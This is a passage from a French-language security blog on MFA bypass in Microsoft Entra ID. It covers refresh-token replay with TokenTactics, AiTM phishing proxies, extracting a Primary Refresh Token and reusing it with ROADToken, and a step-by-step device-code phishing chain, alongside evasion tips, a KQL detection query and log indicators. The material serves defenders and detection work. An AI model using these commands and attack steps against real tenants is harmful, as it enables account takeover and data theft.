<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># TokenTactics  module PowerShell pour la manipulation de jetons</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Import-Module TokenTactics</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Actualiser un jeton volé pour obtenir un nouveau jeton d'accès</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$tokens = RefreshTo-MSGraphToken -refreshToken "&lt;jeton_actualisation_volé&gt;" `</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          -tenantId "&lt;tenant_id&gt;" `</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          -clientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$tokens.access_token   # Nouveau jeton d'accès  accès immédiat à l'API Graph</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$tokens.refresh_token  # Nouveau jeton d'actualisation  fenêtre glissante de 90 jours</span><br></span></code></pre></div></div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="proxy-aitm-adversaire-au-milieu--evilginx--tycoon-2fa">Proxy AiTM (Adversaire-au-Milieu)  Evilginx / Tycoon 2FA<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#proxy-aitm-adversaire-au-milieu--evilginx--tycoon-2fa" class="hash-link" aria-label="Direct link to Proxy AiTM (Adversaire-au-Milieu)  Evilginx / Tycoon 2FA" title="Direct link to Proxy AiTM (Adversaire-au-Milieu)  Evilginx / Tycoon 2FA" translate="no">​</a></h4>
<p>Le mécanisme de vol de jetons le plus évolutif est le proxy inverse AiTM  documenté abondamment dans les campagnes Tycoon 2FA (qui représentaient 65% des attaques d'identifiants pilotées par PhaaS au S1 2025 selon Ontinue) :</p>
<!-- -->
<p>Le proxy se place de manière transparente entre l'utilisateur et Microsoft. L'utilisateur complète le vrai MFA. Microsoft émet de vrais cookies de session. Le proxy les capture avant de les transmettre au navigateur de l'utilisateur. Les deux parties voient une authentification réussie. L'attaquant a les cookies.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="22-la-lacune-de-détection-des-voyages-impossibles">2.2 La Lacune de Détection des Voyages Impossibles<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#22-la-lacune-de-d%C3%A9tection-des-voyages-impossibles" class="hash-link" aria-label="Direct link to 2.2 La Lacune de Détection des Voyages Impossibles" title="Direct link to 2.2 La Lacune de Détection des Voyages Impossibles" translate="no">​</a></h3>
<p>Une fois que l'attaquant rejoue le jeton depuis sa propre IP, une anomalie géographique existe. Cependant, le rejeu de jetons présente un avantage structurel par rapport aux attaques par mot de passe pour contourner cette détection :</p>
<ol>
<li class="">
<p><strong>Les connexions non interactives ne déclenchent pas toujours les voyages impossibles</strong>. Lorsqu'un attaquant utilise un jeton d'actualisation pour obtenir silencieusement de nouveaux jetons d'accès, ceux-ci apparaissent comme des <strong>connexions non interactives</strong> dans les journaux Entra ID  non évaluées selon les mêmes politiques de risque que les connexions interactives par défaut dans de nombreuses configurations de tenant.</p>
</li>
<li class="">
<p><strong>Le décalage temporel permet la plausibilité géographique</strong>. Si l'attaquant attend plusieurs heures après le vol du jeton avant de l'utiliser depuis un emplacement distant, le delta temporel rend le calcul de voyage impossible ambigu.</p>
</li>
<li class="">
<p><strong>Les services VPN commerciaux et les proxies résidentiels contournent trivialement la géolocalisation IP</strong>. Les attaquants utilisent des proxies résidentiels dans la ville ou le pays de la victime pour que l'accès semble local.</p>
</li>
</ol>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="partie-3--abus-du-primary-refresh-token--le-joyau-de-la-couronne">Partie 3  Abus du Primary Refresh Token : Le Joyau de la Couronne<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#partie-3--abus-du-primary-refresh-token--le-joyau-de-la-couronne" class="hash-link" aria-label="Direct link to Partie 3  Abus du Primary Refresh Token : Le Joyau de la Couronne" title="Direct link to Partie 3  Abus du Primary Refresh Token : Le Joyau de la Couronne" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="31-quest-ce-quun-prt-et-pourquoi-est-il-uniquement-dangereux">3.1 Qu'est-ce qu'un PRT et Pourquoi Est-il Uniquement Dangereux<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#31-quest-ce-quun-prt-et-pourquoi-est-il-uniquement-dangereux" class="hash-link" aria-label="Direct link to 3.1 Qu'est-ce qu'un PRT et Pourquoi Est-il Uniquement Dangereux" title="Direct link to 3.1 Qu'est-ce qu'un PRT et Pourquoi Est-il Uniquement Dangereux" translate="no">​</a></h3>
<p>Le Primary Refresh Token est un artefact OAuth spécial émis par Entra ID pour les <strong>appareils joints ou enregistrés dans Azure AD</strong>. C'est le jeton le plus puissant de la pile d'identité Microsoft :</p>
<table><thead><tr><th>Type de Jeton</th><th>Portée</th><th>Durée de Vie</th><th>Revendication MFA</th><th>Lié à l'Appareil</th></tr></thead><tbody><tr><td>Jeton d'Accès</td><td>Ressource spécifique</td><td>60–90 min</td><td>Revendications héritées</td><td>Non</td></tr><tr><td>Jeton d'Actualisation</td><td>Tenant entier</td><td>90 jours</td><td>Revendications héritées</td><td>Non</td></tr><tr><td><strong>Primary Refresh Token</strong></td><td><strong>Toute ressource Entra ID</strong></td><td><strong>14 jours (glissant)</strong></td><td><strong>Peut satisfaire la revendication MFA</strong></td><td><strong>Oui (protégé par TPM sur W11)</strong></td></tr></tbody></table>
<p>Un PRT inclut une revendication <code>device_id</code> et la revendication de méthode d'authentification MFA (<code>amr</code>). Lorsqu'une politique d'Accès Conditionnel requiert "MFA obligatoire" ET "appareil conforme," le PRT peut satisfaire <strong>les deux conditions simultanément</strong>. C'est pourquoi le vol de PRT est l'attaque de premier niveau : PRT volé → peut contourner les vérifications de conformité d'appareil ET les exigences MFA qu'un jeton d'accès ou d'actualisation volé ne peut pas contourner.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="32-extraction-du-prt-windows">3.2 Extraction du PRT (Windows)<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#32-extraction-du-prt-windows" class="hash-link" aria-label="Direct link to 3.2 Extraction du PRT (Windows)" title="Direct link to 3.2 Extraction du PRT (Windows)" translate="no">​</a></h3>
<p>Sur Windows 10 et 11 sans TPM, le PRT est stocké dans la mémoire LSASS et le Gestionnaire d'Informations d'Identification Windows :</p>
<div class="language-cmd codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cmd codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Vérifier si l'appareil actuel a un PRT :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">dsregcmd /status</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># La sortie indique la présence du PRT :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># AzureAdPrt : YES</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># AzureAdPrtUpdateTime : 2025-01-15 09:23:44.000 UTC</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># AzureAdPrtExpiryTime : 2025-01-29 09:23:44.000 UTC</span><br></span></code></pre></div></div>
<p>Avec un accès SYSTEM sur la machine, un attaquant peut extraire le PRT en utilisant des outils qui lisent depuis LSASS ou le Gestionnaire d'Informations d'Identification Windows :</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># ROADToken  outil de recherche défensive pour l'analyse de PRT</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Demander un nouveau jeton d'accès en utilisant le PRT extrait</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">.\ROADToken.exe --prt &lt;prt_extrait&gt; --prt-sessionkey &lt;clé_session&gt; `</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                --resource https://graph.microsoft.com/</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Le jeton d'accès résultant satisfait les revendications de conformité d'appareil</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># même lorsqu'utilisé depuis une machine différente</span><br></span></code></pre></div></div>
<p><strong>Sur Windows 11 avec TPM :</strong> Le PRT est lié à la puce TPM, rendant l'extraction dramatiquement plus difficile  la clé privée utilisée pour prouver la possession du PRT ne quitte jamais le TPM. Cependant, les VMs Hyper-V Generation 1 n'ont pas de support TPM, les VMs hébergées dans le cloud doivent être explicitement configurées avec vTPM, et l'accès UEFI/BIOS peut désactiver le TPM.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="33-hameçonnage-direct-dun-prt--la-technique-avancée">3.3 Hameçonnage Direct d'un PRT  La Technique Avancée<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#33-hame%C3%A7onnage-direct-dun-prt--la-technique-avanc%C3%A9e" class="hash-link" aria-label="Direct link to 3.3 Hameçonnage Direct d'un PRT  La Technique Avancée" title="Direct link to 3.3 Hameçonnage Direct d'un PRT  La Technique Avancée" translate="no">​</a></h3>
<p>Le chercheur Dirk-jan Mollema a documenté une technique où le hameçonnage par code d'appareil, combiné à l'enregistrement d'appareil, peut yielder un PRT complet :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Chaîne d'attaque pour obtenir un PRT via le hameçonnage par code d'appareil :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Étape 1 : L'attaquant initie le flux de code d'appareil pour l'application broker Windows</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          client_id = 29d9ed98-a469-4536-ade2-f981bc1d605e  (broker Microsoft)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          scope = openid profile offline_access</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Étape 2 : La victime complète le MFA (revendication MFA fraîche dans le jeton résultant)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Étape 3 : L'attaquant a un jeton d'actualisation + revendication MFA fraîche</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Étape 4 : L'attaquant enregistre un nouvel appareil dans le tenant</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          POST https://login.microsoftonline.com/common/oauth2/v2.0/token</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          {grant_type: refresh_token, scope: "urn:ms-drs:enterpriseregistration..."}</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Étape 5 : Avec l'appareil enregistré, l'attaquant demande un PRT pour cet appareil</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          Le PRT porte : device_id valide + revendication MFA de l'étape 2</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Étape 6 : L'attaquant utilise le PRT pour accéder à TOUTE ressource protégée par :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          "Exiger MFA" ✓  (revendication MFA de l'étape 2)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          "Exiger appareil conforme" ✓  (appareil enregistré à l'étape 4)</span><br></span></code></pre></div></div>
<p><strong>Requête KQL pour détecter cet abus d'enregistrement d'appareil :</strong></p>
<div class="language-kql codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-kql codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// Détecter l'enregistrement d'appareil immédiatement après authentification par code d'appareil</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">let DeviceCodeLogins = SigninLogs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | where TimeGenerated &gt; ago(24h)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | where AuthenticationProtocol == "deviceCode"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | where ResultType == "0"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | project UserPrincipalName, DeviceCodeTime = TimeGenerated,</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">              IPAddress, CorrelationId;</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">let DeviceRegistrations = AuditLogs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | where TimeGenerated &gt; ago(24h)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | where OperationName == "Register device"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">       or OperationName == "Add registered users to device"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | extend UPN = tostring(InitiatedBy.user.userPrincipalName)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | project UPN, RegistrationTime = TimeGenerated, </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">              DeviceName = tostring(TargetResources[0].displayName);</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">DeviceCodeLogins</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| join kind=inner DeviceRegistrations on $left.UserPrincipalName == $right.UPN</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where (RegistrationTime - DeviceCodeTime) between (0min .. 30min)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| project UserPrincipalName, DeviceCodeTime, RegistrationTime, </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          IPAddress, DeviceName, CorrelationId</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| sort by DeviceCodeTime desc</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="partie-4--ce-quentra-id-enregistre-et-ce-quil-manque">Partie 4  Ce qu'Entra ID Enregistre et Ce Qu'il Manque<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#partie-4--ce-quentra-id-enregistre-et-ce-quil-manque" class="hash-link" aria-label="Direct link to Partie 4  Ce qu'Entra ID Enregistre et Ce Qu'il Manque" title="Direct link to Partie 4  Ce qu'Entra ID Enregistre et Ce Qu'il Manque" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="41-taxonomie-des-journaux-de-connexion">4.1 Taxonomie des Journaux de Connexion<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#41-taxonomie-des-journaux-de-connexion" class="hash-link" aria-label="Direct link to 4.1 Taxonomie des Journaux de Connexion" title="Direct link to 4.1 Taxonomie des Journaux de Connexion" translate="no">​</a></h3>
<p>Entra ID produit trois types de journaux de connexion, et ils ne sont <strong>pas surveillés de manière égale</strong> :</p>
<table><thead><tr><th>Table de Journaux</th><th>Ce Qu'elle Capture</th><th>Rétention par Défaut</th><th>Couverture des Alertes</th></tr></thead><tbody><tr><td><code>SigninLogs</code></td><td>Connexions interactives (navigateur, invites d'applications clientes)</td><td>30 jours</td><td>Élevée  la plupart des orgs surveillent ceci</td></tr><tr><td><code>NonInteractiveUserSignInLogs</code></td><td>Actualisations silencieuses de jetons (arrière-plan, grants refresh_token)</td><td>30 jours</td><td><strong>Faible</strong>  souvent non intégré dans le SIEM</td></tr><tr><td><code>ServicePrincipalSignInLogs</code></td><td>Authentification app-to-app</td><td>30 jours</td><td>Moyenne</td></tr><tr><td><code>ManagedIdentitySignInLogs</code></td><td>Demandes de jetons d'identité gérée</td><td>30 jours</td><td>Faible</td></tr></tbody></table>
<p><strong>La lacune critique : Le rejeu de jetons apparaît le plus souvent dans <code>NonInteractiveUserSignInLogs</code>.</strong> Lorsqu'un attaquant utilise un jeton d'actualisation volé pour obtenir silencieusement de nouveaux jetons d'accès, cela génère des entrées dans cette table  pas dans <code>SigninLogs</code>. Beaucoup d'organisations n'intègrent pas cette table dans leur SIEM, ou ne l'alertent pas avec la même rigueur.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="42-à-quoi-ressemble-une-connexion-par-hameçonnage-de-code-dappareil-dans-les-journaux">4.2 À Quoi Ressemble une Connexion par Hameçonnage de Code d'Appareil dans les Journaux<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#42-%C3%A0-quoi-ressemble-une-connexion-par-hame%C3%A7onnage-de-code-dappareil-dans-les-journaux" class="hash-link" aria-label="Direct link to 4.2 À Quoi Ressemble une Connexion par Hameçonnage de Code d'Appareil dans les Journaux" title="Direct link to 4.2 À Quoi Ressemble une Connexion par Hameçonnage de Code d'Appareil dans les Journaux" translate="no">​</a></h3>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"UserPrincipalName"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"victime@entreprise.com"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"AppDisplayName"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"Microsoft Office"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"ClientAppUsed"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"Applications mobiles et clients bureau"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"AuthenticationProtocol"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"deviceCode"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"AuthenticationRequirement"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"singleFactorAuthentication"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"ConditionalAccessStatus"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"success"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"IPAddress"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"185.220.101.x"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"Location"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token property" style="color:hsl(256, 54%, 50%)">"City"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"Francfort"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token property" style="color:hsl(256, 54%, 50%)">"CountryOrRegion"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"DE"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"DeviceDetail"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token property" style="color:hsl(256, 54%, 50%)">"deviceId"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">""</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token property" style="color:hsl(256, 54%, 50%)">"displayName"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">""</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token property" style="color:hsl(256, 54%, 50%)">"operatingSystem"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">""</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token property" style="color:hsl(256, 54%, 50%)">"browser"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">""</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"RiskDetail"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"none"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"ResultType"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"0"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><br></span></code></pre></div></div>
<p><strong>Indicateurs forensiques clés :</strong></p>
<ul>
<li class=""><code>AuthenticationProtocol == "deviceCode"</code>  la preuve irréfutable</li>
<li class="">Champs <code>DeviceDetail</code> vides  le jeton n'était pas lié à un appareil enregistré</li>
<li class=""><code>IPAddress</code> appartient à l'infrastructure de l'attaquant, pas aux IPs connues de la victime</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="43-à-quoi-ressemble-le-rejeu-de-jetons-dans-les-journaux">4.3 À Quoi Ressemble le Rejeu de Jetons dans les Journaux<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#43-%C3%A0-quoi-ressemble-le-rejeu-de-jetons-dans-les-journaux" class="hash-link" aria-label="Direct link to 4.3 À Quoi Ressemble le Rejeu de Jetons dans les Journaux" title="Direct link to 4.3 À Quoi Ressemble le Rejeu de Jetons dans les Journaux" translate="no">​</a></h3>
